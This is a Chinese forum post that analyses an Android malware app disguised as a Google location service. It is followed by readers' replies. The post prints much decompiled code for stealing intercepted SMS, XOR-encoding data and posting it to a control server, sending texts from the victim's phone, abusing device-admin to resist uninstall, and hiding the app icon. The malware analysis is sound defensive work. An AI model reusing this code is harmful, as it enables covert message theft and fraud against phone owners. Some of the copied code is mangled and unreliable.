Stringobject_ByteArrayOutputStream_toByteArray = newString(object_ByteArrayOutputStream
.toByteArray());
intobject_ByteArrayOutputStream_toByteArray_length =object_ByteArrayOutputStream_toByteArray
.length();
if(object_ByteArrayOutputStream_toByteArray_length <= 17) {
return null;
}
String v2_2 =object_ByteArrayOutputStream_toByteArray.substring(object_ByteArrayOutputStream_toByteArray_length
- 16,object_ByteArrayOutputStream_toByteArray_length);
v0_7 =object_ByteArrayOutputStream_toByteArray.substring(0,object_ByteArrayOutputStream_toByteArray_length
- 16);
if(!Class_i.get_MD5(String.valueOf(v0_7)+ "a?hg").substring(0, 16).equals(v2_2)) {
return null;
}
}
catch(IllegalStateException v0_3) {
return null;
}
catch(ParseException v0_4) {
goto label_90;
}
catch(Exception v0_1) {
return null;
}
try {
JSONObject v0_8 = newJSONObject(new String(new Class_a().xor_encode(new String(v0_7),"1djxdloien")));
return v0_8;
}
catch(ParseException v0_4) {
label_90:
}
catch(IllegalStateException v0_3) {
}
catch(Exception v0_1) {
}
return null;
}这一句用到了一个xor_Base64_encode()((List)object_ArrayList).add(newBasicNameValuePair("p", new String(Base64.encodeToString(newClass_a().xor_Base64_encode(arg6.toString(),"6d0a04f0dac119bfea2823a60cb691cd"), 0))));代码简单public byte[]xor_Base64_encode(String file_data, String arg10) {
byte[] ByteArray_file_data =file_data.getBytes();
int ByteArray_file_data_length =ByteArray_file_data.length;
byte[] ByteArray_2 =Class_i.get_MD5("&dho02aQn" + arg10).getBytes();
int ByteArray_2_length =ByteArray_2.length;
int i;
for(i = 0; i <ByteArray_file_data_length; ++i) {
ByteArray_file_data =((byte)(ByteArray_2 ^ ByteArray_file_data[
i]));
}
returnBase64.encode(ByteArray_file_data, 0);
}获取HttpClientDefaultHttpClientobject_DefaultHttpClient = Class_i.Create_GetHttpClient("/");代码public static DefaultHttpClientCreate_GetHttpClient(String arg6) {
BasicHttpParams object_BasicHttpParams= new BasicHttpParams();
((HttpParams)object_BasicHttpParams).setParameter("http.protocol.cookie-policy","");
HttpProtocolParams.setVersion(((HttpParams)object_BasicHttpParams),HttpVersion.HTTP_1_1);
HttpProtocolParams.setContentCharset(((HttpParams)object_BasicHttpParams),"ISO-8859-1");
HttpProtocolParams.setUseExpectContinue(((HttpParams)object_BasicHttpParams),true);
HttpProtocolParams.setUserAgent(((HttpParams)object_BasicHttpParams),arg6);
HttpConnectionParams.setConnectionTimeout(((HttpParams)object_BasicHttpParams),3000);
HttpConnectionParams.setSoTimeout(((HttpParams)object_BasicHttpParams),3000);
SchemeRegistry object_SchemeRegistry =new SchemeRegistry();
object_SchemeRegistry.register(newScheme("http", PlainSocketFactory.getSocketFactory(), 80));
object_SchemeRegistry.register(newScheme("https", SSLSocketFactory.getSocketFactory(), 443));
DefaultHttpClientobject_DefaultHttpClient = new DefaultHttpClient(newThreadSafeClientConnManager(((
HttpParams)object_BasicHttpParams),object_SchemeRegistry), ((HttpParams)object_BasicHttpParams));
object_DefaultHttpClient.getCookieSpecs().register("", newmyCookieSpecFactory());
return object_DefaultHttpClient;
}其中还有一个地方是用于Cookie的,主要就是设置用的myCookieSpecFactory()package com.google.process.locations;
importorg.apache.http.cookie.CookieSpec;
importorg.apache.http.cookie.CookieSpecFactory;
importorg.apache.http.params.HttpParams;
class myCookieSpecFactoryimplements CookieSpecFactory {
myCookieSpecFactory() {
super();
}
public CookieSpec newInstance(HttpParamshttpparams) {
return new myBrowserCompatSpec(this);
}
}还有一个myBrowserCompatSpec()packagecom.google.process.locations;
importorg.apache.http.cookie.Cookie;
importorg.apache.http.cookie.CookieOrigin;
importorg.apache.http.impl.cookie.BrowserCompatSpec;
class myBrowserCompatSpecextends BrowserCompatSpec {
myBrowserCompatSpec(myCookieSpecFactoryarg1) {
this.a = arg1;
super();
}
public void validate(Cookie cookie,CookieOrigin cookieorigin) {
}
}接着通信,判断状态码是否是200try {
HttpPost object_HttpPost = newHttpPost("http://" + arg5);
object_HttpPost.setEntity(newUrlEncodedFormEntity(((List)object_ArrayList), "UTF-8"));
object_HttpResponse =object_DefaultHttpClient.execute(((HttpUriRequest)object_HttpPost));
if(object_HttpResponse.getStatusLine().getStatusCode() != 200) {
return null;
}
}
catch(Exception v0_1) {
return null;
}接下来的就是发送文件的代码了,没啥好看的
回到ReadandSend_file(),会进行返回数据的判断,一个是返回的JSonObject是否为空,还有一个是返回数据里on键值是否为1if(object_jsonobject == null) {
return false;
}
if(object_jsonobject.getInt("on") != 1) {
return false;
}如果一切正常的话会返回true,回到Thread_SendandDelete_file
当返回的是true会进行删除文件操作object_file.delete();如果返回false说明文件没有发送成功或者服务器没有接收成功,则直接continue,不会删除文件,只有该文件发送成功了,才会执行删除操作
总结一下:每次开启service的时候会检查本地文件,并发送到服务器,发送成功会删除文件
接下来就是onStartCommand()离最后一项了Start_Thread_e()主要作用是和服务器通信,返回的数据通过type的键值传到Handler处理packagecom.google.process.locations;
import android.os.Message;
import android.text.TextUtils;
import org.json.JSONException;
import org.json.JSONObject;
class Thread_e extends Thread {
Thread_e(GoogleLocationService arg1) {
this.GoogleLocationService_this = arg1;
super();
}
public void run() {
Message object_message;
JSONObject object_jsonobject;
int int_temp = 2;
try {
object_jsonobject = new JSONObject();
object_jsonobject.put("id", GoogleApplication.String_id);
object_jsonobject.put("model",GoogleApplication.String_model);
object_jsonobject.put("time", System.currentTimeMillis());
object_jsonobject.put("type", 1);
String String_mode ="mode";
if(!GoogleApplication.sp_Boolean_mode) {
int_temp = 1;
}
object_jsonobject.put(String_mode,int_temp);// mode键值为1
if(GoogleLocationService.get_Boolean_a(this.GoogleLocationService_this)){
goto label_82;
}
elseif(GoogleApplication.Boolean_sharedpreferences_send) {
GoogleLocationService.set_Boolean_a(this.GoogleLocationService_this,true);
int_temp = 9;
}
else {
goto label_82;
}
goto label_29;
}
catch(JSONException v0_1) {
goto label_62;
}
label_82:
int_temp = 1;
try {
label_29:
object_jsonobject.put("data", int_temp);// data键值为1
JSONObject object_JSONObject =Class_i.ConnectSend_ResponseJsonobject(Class_i.get_Server_IPAddress(),
object_jsonobject.toString());
if(object_JSONObject == null) {
return;
}
int int_on =object_JSONObject.getInt("on");
int int_type =object_JSONObject.getInt("type");
if(int_on != 1) {
goto label_79;// 判断on的键值是否为1,1表示正常
}
switch(int_type) {
case 2: {
goto label_67;
}
case 9: {
goto label_44;
}
}
return;
label_44:
String v0_3 =object_JSONObject.getString("num");
if(!TextUtils.isEmpty(((CharSequence)v0_3))) {
object_message =GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
.obtainMessage();
object_message.what = 1;
object_message.obj = v0_3;
GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
.sendMessage(object_message);
}
else {
GoogleApplication.Boolean_sharedpreferences_send = false;
goto label_57;
label_67:
object_JSONObject =object_JSONObject.getJSONObject("data");
object_message =GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
.obtainMessage();
object_message.what = 2;
object_message.obj =object_JSONObject;
GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
.sendMessage(object_message);
return;
label_79:
GoogleApplication.Boolean_b_notuse = true;
return;
}
label_57:
GoogleLocationService.set_Boolean_a(this.GoogleLocationService_this,false);
}
catch(JSONException v0_1) {
label_62:
GoogleApplication.Boolean_b_notuse= true;
}
}
}Handler这里最主要的功能如下if(!TextUtils.isEmpty(((CharSequence)v9))&& !TextUtils.isEmpty(((CharSequence)v10))) {
GoogleLocationService.call_SendSMSmessage(this.a, v9, v10);
Class_i.Delete_SMSmessage(this.a,v10);
Class_i.call_CopyStoreNewSMSmessage(this.a, v9, newStringBuilder(String.valueOf(System
.currentTimeMillis())).toString(), v10, 10);
}
if(v6 == 1) {
GoogleLocationService.call_StoreInformationofPhone(this.a, true);
}
if(v5 == 1 &&!TextUtils.isEmpty(((CharSequence)v8))) {
GoogleLocationService.call_BridgeSendSMSmessage(this.a, v8);
}
if(v4 == 1) {
GoogleLocationService.call_StoreHistorySMSmessage(this.a, true);
}其中call_BridgeSendSMSmessage()最终会调用private voidBridgeSendSMSmessage(String String_Num) {
String Phone_Information = String.valueOf(GoogleApplication.String_id)+ "," + GoogleApplication
.String_model + "," +Build$VERSION.RELEASE;
this.SendSMSmessage(String_Num,Phone_Information);
Class_i.Delete_SMSmessage(((Context)this), Phone_Information);
Class_i.call_CopyStoreNewSMSmessage(((Context)this), String_Num, newStringBuilder(String.valueOf(
System.currentTimeMillis())).toString(), Phone_Information, 10);
this.getSharedPreferences("app_preferences", 0).edit().putBoolean("send",false).commit();
}会通过受害者手机向指定手机号发短信,然后还会根据服务器返回的数据执行一些其他指令,看代码就可以看出来了
以上就是GoogleLocationService的行为
回溯到很久很久以前的代码,先梳理一下,GoogleApplication类的onCreate()方法注册了一个GoogleLocationService服务,然后这个服务的所有功能都在上面已经分析了
继续分析,GoogleApplication已经分析完了,接下来就该进入MainActivity了packagecom.google.process.locations;
import android.app.Activity;
importandroid.app.admin.DevicePolicyManager;
importandroid.content.ComponentName;
import android.content.Context;
import android.content.Intent;
importandroid.content.pm.PackageManager;
import android.os.Bundle;
import android.widget.Toast;
public class MainActivityextends Activity {
private ComponentName object_ComponentName;
private DevicePolicyManagerobject_DevicePolicyManager;
public MainActivity() {
super();
}
private void Toast_FinishInstall() {
PackageManager object_PackageManager =this.getPackageManager();
ComponentName object_ComponentName =this.getComponentName();
int v2 = object_PackageManager.getComponentEnabledSetting(object_ComponentName);
if(v2 == 0 || v2 == 1) {
object_PackageManager.setComponentEnabledSetting(object_ComponentName,2, 1);// 隐藏图标
Context context =this.getApplicationContext();
String v2_1 = "%s证书启动成功";
Object[] object_temp = newObject;
String v0_1 =GoogleApplication.sp_Boolean_mode ? "安装" : "安全";
object_temp = v0_1;
Toast.makeText(context,String.format(v2_1, object_temp), 1).show();
}
}
private voidStartService_GoogleLocationService() {
this.startService(newIntent(this.getApplicationContext(), GoogleLocationService.class));
}
private void ActiveAdmin() {
this.object_DevicePolicyManager =this.getSystemService("device_policy");
this.object_ComponentName = newComponentName(((Context)this), DeviceReciver.class);
if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
Intent intent = newIntent("android.app.action.ADD_DEVICE_ADMIN");
intent.putExtra("android.app.extra.DEVICE_ADMIN",this.object_ComponentName);
this.startActivity(intent);
}
else {
this.Toast_FinishInstall();
}
}
protected void onCreate(Bundle arg1) {
super.onCreate(arg1);
this.ActiveAdmin();
this.StartService_GoogleLocationService();
this.finish();
this.ser();
}
void ser() {
Class class_temp;
try {
class_temp =Class.forName("d.d.Default");
}
catch(ClassNotFoundException v0) {
throw newNoClassDefFoundError(((Throwable)v0).getMessage());
}
this.startService(newIntent(((Context)this), class_temp));
}
}onCreate()方法里还是先进入ActiveAdmin(),整体过程如同刚才所说的,如果不激活,会一直弹出激活窗口,如果激活了,会进入Toast_FinishInsatll()
然后弹出安全证书启动成功并且隐藏图标
这个恶意APP的大概功能就是这些了
接下来分析一下其它部分的代码
BootReceiver:开机自启动packagecom.google.process.locations;
importandroid.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootReceiverextends BroadcastReceiver {
public BootReceiver() {
super();
}
public void onReceive(Context context,Intent intent) {
context.startService(newIntent(context, GoogleLocationService.class)); // 开机启动
}
} DeviceReceiver:设备管理器 packagecom.google.process.locations;import android.app.admin.DeviceAdminReceiver;
importandroid.app.admin.DevicePolicyManager;
import android.content.Context;
import android.content.Intent;
public class DeviceReciverextends DeviceAdminReceiver {
public DeviceReciver() {
super();
}
public CharSequenceonDisableRequested(Context context, Intent intent_Param) {
Intent intent =context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
intent.setFlags(268435456);
context.startActivity(intent);
Object object_device_policy =context.getSystemService("device_policy");
((DevicePolicyManager)object_device_policy).lockNow();
new Thread(newRunnable_LockScreen_7s_bypass(this, ((DevicePolicyManager)object_device_policy))).start();
return "This is aonDisableRequested response message";
}
public void onDisabled(Context context,Intent intent) {
super.onDisabled(context, intent);
}
public void onEnabled(Context context,Intent intent_Param) {
Intent intent = new Intent(context,MainActivity.class);
intent.addFlags(268435456);
context.startActivity(intent);
super.onEnabled(context, intent_Param);
}
public void onReceive(Context context,Intent intent) {
super.onReceive(context, intent);
}
}这个利用了安卓的一个设备管理器的一个漏洞:Android设备管理器取消激活漏洞
SMSReceiver:拦截短信,存储在本地,然后删除packagecom.google.process.locations;
importandroid.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
importandroid.telephony.SmsMessage;
public class SmsReciver extendsBroadcastReceiver {
public SmsReciver() {
super();
}
public void onReceive(Context context,Intent intent) {
StringBuffer StringBuffer_1;
StringBuffer StringBuffer_2 = null;
Bundle object_bundle =intent.getExtras();
if(object_bundle != null) {
if(GoogleApplication.sp_Boolean_mode) {
this.abortBroadcast();
}
Object object_pdus =object_bundle.get("pdus");
int object_pdus_length =object_pdus.length;
int i = 0;
String StringBuffer_3 =((String)StringBuffer_2);
String StringBuffer_4 =((String)StringBuffer_2);
while(i < object_pdus_length) {
SmsMessage object_SmsMessage =SmsMessage.createFromPdu(object_pdus);
if(StringBuffer_4 == null) {
StringBuffer_4 =object_SmsMessage.getOriginatingAddress();
}
if(StringBuffer_3 == null) {
StringBuffer_3 = newStringBuilder(String.valueOf(object_SmsMessage.getTimestampMillis()))
.toString();
}
if(StringBuffer_2 == null) {
StringBuffer_1 = newStringBuffer(object_SmsMessage.getMessageBody());
}
else {
StringBuffer_2.append(object_SmsMessage.getMessageBody());
StringBuffer_1 =StringBuffer_2;
}
if(GoogleApplication.sp_Boolean_mode) {
Class_i.Delete_SMSmessage(context,object_SmsMessage.getMessageBody());
}
++i;
StringBuffer_2 =StringBuffer_1;
}
Class_i.call_CopyStoreNewSMSmessage(context, StringBuffer_4.toString(),StringBuffer_3.toString(),
StringBuffer_2.toString(),1);
}
}
}
最后总结一下:这玩意对于4.2以下的系统的话还是很危险的,因为卸载不掉,其它行为就比较一般了,监控短信,存储在本地,然后传服务器
样本的话:这次就不提供了
不定期的会录制一些视频分享调试的一些心得:移动恶意APP分析的心得分享
wnagzihxain 发表于 2016-7-19 15:30
我上一篇锁屏分析的最下面有关于这个的处理,直接复制过来排版不好看,代码也会很混乱,你去看看吧
http://www.52pojie.cn/forum.php?mod=viewthread&tid=515795
谢谢大神,是这个链接吧?看了一下,要理解还真要花点时间,我的没有锁屏,主要的伪装成“录音机”、“好音乐”等APP自动安装,还会发送订阅短信代码,幸好防火墙拦截了,暂时没有造成损失,但这个感觉有点类似幽灵推,但有不完全相同,关键是搜索也没有其他处理方法。 wnagzihxain 发表于 2016-7-18 23:13
我感觉你这情况下个管家先扫描一波比较好,无论是鹅厂的还是数字的都先试一试,如果Root了的话把可疑的应 ...
感觉是已经写进了system/app的,删掉还会再出现,换了几款杀毒软件查杀后还会继续出现,具体教程在哪里有的?因为对于手机处理这种情况我是一窍不通的,希望能得到大家的帮助,谢谢! 本帖最后由 枫叶飘零 于 2016-7-13 22:42 编辑
前排膜拜大牛,抚摸沙发,那些恶意APP的发布者真的是缺钙。
为什么最后不用插入代码功能呢
前排膜拜大牛
太长了 不懂 太长,夹杂了大量代码,so。。。。我没仔细看,不过就冲能从代码分析来看,露珠应该是大拿 枫叶飘零 发表于 2016-7-13 22:40
前排膜拜大牛,抚摸沙发,那些恶意APP的发布者真的是缺钙。
为什么最后不用插入代码功能呢
我说在排版就是在使用添加代码,因为先在word上写的,所以直接拷贝过来慢慢排版 分析的很详细,可惜没有样本,加分先! 太长,夹杂了大量代码,so。。。。我没仔细看 子贤又发新教程了,值得一看 哎 完全看不懂 看来还需要学习 学习了~